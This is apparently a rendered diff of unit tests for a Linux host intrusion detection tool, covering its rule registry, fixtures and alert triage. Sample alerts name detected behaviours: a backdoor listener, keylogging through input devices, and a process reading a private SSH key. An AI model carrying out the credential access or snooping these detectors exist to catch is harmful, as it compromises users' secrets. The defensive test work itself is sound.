out: dict[int, set[int]] = {}
|
||||||
|
for path in sorted(FIXTURE_DIR.glob("*.json")):
|
||||||
|
declared = int(path.name.split("-", 1)[0])
|
||||||
|
event = json.loads(path.read_text())
|
||||||
|
alerts = ruleops.test_event(Config(), event)
|
||||||
|
out[declared] = {a.sid for a in alerts}
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
class TestEventFixtures(unittest.TestCase):
|
||||||
|
def test_every_event_rule_sid_has_an_emitting_fixture(self):
|
||||||
|
covered = fixture_sids()
|
||||||
|
wanted = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule")
|
||||||
|
for sid in sorted(wanted):
|
||||||
|
self.assertIn(sid, covered,
|
||||||
|
f"no fixture file for sid {sid} in {FIXTURE_DIR}")
|
||||||
|
self.assertIn(sid, covered[sid],
|
||||||
|
f"fixture for sid {sid} did not emit it")
|
||||||
|
|
||||||
|
def test_fixtures_emit_only_registered_sids(self):
|
||||||
|
registry = sids.all_sids()
|
||||||
|
for declared, emitted in fixture_sids().items():
|
||||||
|
self.assertLessEqual(emitted, registry,
|
||||||
|
f"fixture {declared} emitted unregistered sids")
|
||||||
|
|
||||||
|
|
||||||
|
def drill_sids() -> dict[int, set[int]]:
|
||||||
|
"""Run every non-event drill; map declared sid to sids emitted."""
|
||||||
|
return {sid: {a.sid for a in drill()} for sid, drill in sorted(DRILLS.items())}
|
||||||
|
|
||||||
|
|
||||||
|
class TestSidCoverageGate(unittest.TestCase):
|
||||||
|
def test_every_non_event_sid_has_an_emitting_drill(self):
|
||||||
|
covered = drill_sids()
|
||||||
|
event_sids = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule")
|
||||||
|
wanted = sids.all_sids() - event_sids
|
||||||
|
self.assertEqual(set(covered), wanted)
|
||||||
|
for sid in sorted(wanted):
|
||||||
|
self.assertIn(sid, covered[sid], f"drill for sid {sid} did not emit it")
|
||||||
|
|
||||||
|
def test_fixtures_and_drills_equal_registry(self):
|
||||||
|
emitted = set()
|
||||||
|
for sids_for_fixture in fixture_sids().values():
|
||||||
|
emitted.update(sids_for_fixture)
|
||||||
|
for sids_for_drill in drill_sids().values():
|
||||||
|
emitted.update(sids_for_drill)
|
||||||
|
self.assertEqual(emitted, sids.all_sids())
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
63
tests/test_sids.py
Normal file
63
tests/test_sids.py
Normal file
|
|
@ -0,0 +1,63 @@
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""The SID registry is unique, complete, and matches the engine sources."""
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
from enodia_sentinel import fim, pkgdb, posture, rootcheck, sids
|
||||||
|
from enodia_sentinel.detectors import (
|
||||||
|
credential_access,
|
||||||
|
input_snooper,
|
||||||
|
memory_obfuscation,
|
||||||
|
stealth_network,
|
||||||
|
)
|
||||||
|
from enodia_sentinel.events.rules import DEFAULT_EXEC_RULES
|
||||||
|
from enodia_sentinel.events.syscall_rules import DEFAULT_SYSCALL_RULES
|
||||||
|
|
||||||
|
|
||||||
|
class TestRegistry(unittest.TestCase):
|
||||||
|
def test_sids_are_unique(self):
|
||||||
|
nums = [s.sid for s in sids.BUILTIN_SIDS]
|
||||||
|
self.assertEqual(len(nums), len(set(nums)))
|
||||||
|
|
||||||
|
def test_count_and_helpers(self):
|
||||||
|
self.assertEqual(len(sids.BUILTIN_SIDS), 52)
|
||||||
|
self.assertEqual(
|
||||||
|
sids.all_sids(), frozenset(s.sid for s in sids.BUILTIN_SIDS)
|
||||||
|
)
|
||||||
|
self.assertEqual(
|
||||||
|
sids.engine_sids("exec_rule"),
|
||||||
|
frozenset({100001, 100002, 100003, 100004}),
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_event_rule_sids_match_engines(self):
|
||||||
|
self.assertEqual(
|
||||||
|
sids.engine_sids("exec_rule"),
|
||||||
|
frozenset(r.sid for r in DEFAULT_EXEC_RULES),
|
||||||
|
)
|
||||||
|
self.assertEqual(
|
||||||
|
sids.engine_sids("syscall_rule"),
|
||||||
|
frozenset(r.sid for r in DEFAULT_SYSCALL_RULES),
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_registry_uses_the_source_constants(self):
|
||||||
|
by_sid = {s.sid: s for s in sids.BUILTIN_SIDS}
|
||||||
|
for const, engine in (
|
||||||
|
(fim.SID_MODIFIED, "fim"),
|
||||||
|
(pkgdb.SID_PKGDB, "pkgdb"),
|
||||||
|
(rootcheck.SID_HIDDEN_PROC, "rootcheck"),
|
||||||
|
(posture.SID_SSH_ROOT_LOGIN, "posture"),
|
||||||
|
(input_snooper.SID_INPUT_SNOOPER, "detector"),
|
||||||
|
(credential_access.SID_CREDENTIAL_ACCESS, "detector"),
|
||||||
|
(stealth_network.SID_STEALTH_NETWORK, "detector"),
|
||||||
|
(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, "detector"),
|
||||||
|
):
|
||||||
|
self.assertIn(const, by_sid)
|
||||||
|
self.assertEqual(by_sid[const].engine, engine)
|
||||||
|
|
||||||
|
def test_every_entry_has_name_and_module(self):
|
||||||
|
for entry in sids.BUILTIN_SIDS:
|
||||||
|
self.assertTrue(entry.name)
|
||||||
|
self.assertTrue(entry.module.startswith("enodia_sentinel"))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
|
|
@ -17,11 +17,15 @@ NONE = lambda p: False
|
||||||
class TestNewListener(unittest.TestCase):
|
class TestNewListener(unittest.TestCase):
|
||||||
def test_package_owned_is_fp(self):
|
def test_package_owned_is_fp(self):
|
||||||
a = alert("new_listener", "new listening socket 1.2.3.4:6881 by comm=qbittorrent",
|
a = alert("new_listener", "new listening socket 1.2.3.4:6881 by comm=qbittorrent",
|
||||||
pids=(50,))
|
pids=(50,), sid=100013)
|
||||||
|
a["classtype"] = "backdoor-listener"
|
||||||
procs = [{"pid": 50, "exe": "/usr/bin/qbittorrent"}]
|
procs = [{"pid": 50, "exe": "/usr/bin/qbittorrent"}]
|
||||||
v = triage_alert(a, procs, Config(), is_owned=OWNED)
|
v = triage_alert(a, procs, Config(), is_owned=OWNED)
|
||||||
self.assertEqual(v.label, LIKELY_FP)
|
self.assertEqual(v.label, LIKELY_FP)
|
||||||
self.assertIn("qbittorrent", v.suggest)
|
self.assertIn("listener_allow_comms", v.suggest)
|
||||||
|
self.assertIn('"qbittorrent"', v.suggest)
|
||||||
|
self.assertIn("sid=100013", v.suggest)
|
||||||
|
self.assertIn("classtype=backdoor-listener", v.suggest)
|
||||||
|
|
||||||
def test_loopback_is_fp(self):
|
def test_loopback_is_fp(self):
|
||||||
a = alert("new_listener", "new listening socket 127.0.0.1:9000 by comm=foo")
|
a = alert("new_listener", "new listening socket 127.0.0.1:9000 by comm=foo")
|
||||||
|
|
@ -38,7 +42,9 @@ class TestNewListener(unittest.TestCase):
|
||||||
a = alert("new_listener", "new listening socket 9.9.9.9:31337 by comm=weird",
|
a = alert("new_listener", "new listening socket 9.9.9.9:31337 by comm=weird",
|
||||||
pids=(77,))
|
pids=(77,))
|
||||||
procs = [{"pid": 77, "exe": "/tmp/weird"}]
|
procs = [{"pid": 77, "exe": "/tmp/weird"}]
|
||||||
self.assertEqual(triage_alert(a, procs, Config(), is_owned=NONE).label, REVIEW)
|
v = triage_alert(a, procs, Config(), is_owned=NONE)
|
||||||
|
self.assertEqual(v.label, REVIEW)
|
||||||
|
self.assertIn("listener_allow_comms", v.suggest)
|
||||||
|
|
||||||
|
|
||||||
class TestOtherSignatures(unittest.TestCase):
|
class TestOtherSignatures(unittest.TestCase):
|
||||||
|
|
@ -68,6 +74,44 @@ class TestOtherSignatures(unittest.TestCase):
|
||||||
a = alert("exec_rule.fileless-execution", "sid=100001 ...")
|
a = alert("exec_rule.fileless-execution", "sid=100001 ...")
|
||||||
self.assertEqual(triage_alert(a, [], Config(), is_owned=OWNED).label, REVIEW)
|
self.assertEqual(triage_alert(a, [], Config(), is_owned=OWNED).label, REVIEW)
|
||||||
|
|
||||||
|
def test_input_snooper_suggests_comm_allowlist_with_context(self):
|
||||||
|
a = alert("input_snooper",
|
||||||
|
"pid=12 comm=input-remapper fd=7 has input device open: /dev/input/event0",
|
||||||
|
sid=100032)
|
||||||
|
a["classtype"] = "credential-keylogging"
|
||||||
|
v = triage_alert(a, [], Config(), is_owned=NONE)
|
||||||
|
self.assertEqual(v.label, REVIEW)
|
||||||
|
self.assertIn("input_snooper_allow_comms", v.suggest)
|
||||||
|
self.assertIn('"input-remapper"', v.suggest)
|
||||||
|
self.assertIn("sid=100032", v.suggest)
|
||||||
|
|
||||||
|
def test_credential_access_suggests_comm_allowlist(self):
|
||||||
|
a = alert("credential_access",
|
||||||
|
"pid=22 comm=backupd fd=3 has private SSH key open: /home/a/.ssh/id_ed25519",
|
||||||
|
sid=100033)
|
||||||
|
v = triage_alert(a, [], Config(), is_owned=NONE)
|
||||||
|
self.assertEqual(v.label, REVIEW)
|
||||||
|
self.assertIn("credential_access_allow_comms", v.suggest)
|
||||||
|
self.assertIn('"backupd"', v.suggest)
|
||||||
|
|
||||||
|
def test_stealth_network_suggests_comm_allowlist(self):
|
||||||
|
a = alert("stealth_network",
|
||||||
|
"raw socket state=UNCONN local=0.0.0.0:* peer=*:* comm=tcpdump pid=5",
|
||||||
|
sid=100036)
|
||||||
|
v = triage_alert(a, [], Config(), is_owned=NONE)
|
||||||
|
self.assertEqual(v.label, REVIEW)
|
||||||
|
self.assertIn("stealth_network_allow_comms", v.suggest)
|
||||||
|
self.assertIn('"tcpdump"', v.suggest)
|
||||||
|
|
||||||
|
def test_memory_obfuscation_suggests_comm_allowlist(self):
|
||||||
|
a = alert("memory_obfuscation",
|
||||||
|
"pid=44 comm=jit-runtime writable+executable memory mapping perms=rwxp path=<anonymous>",
|
||||||
|
sid=100039)
|
||||||
|
v = triage_alert(a, [], Config(), is_owned=NONE)
|
||||||
|
self.assertEqual(v.label, REVIEW)
|
||||||
|
self.assertIn("memory_obfuscation_allow_comms", v.suggest)
|
||||||
|
self.assertIn('"jit-runtime"', v.suggest)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue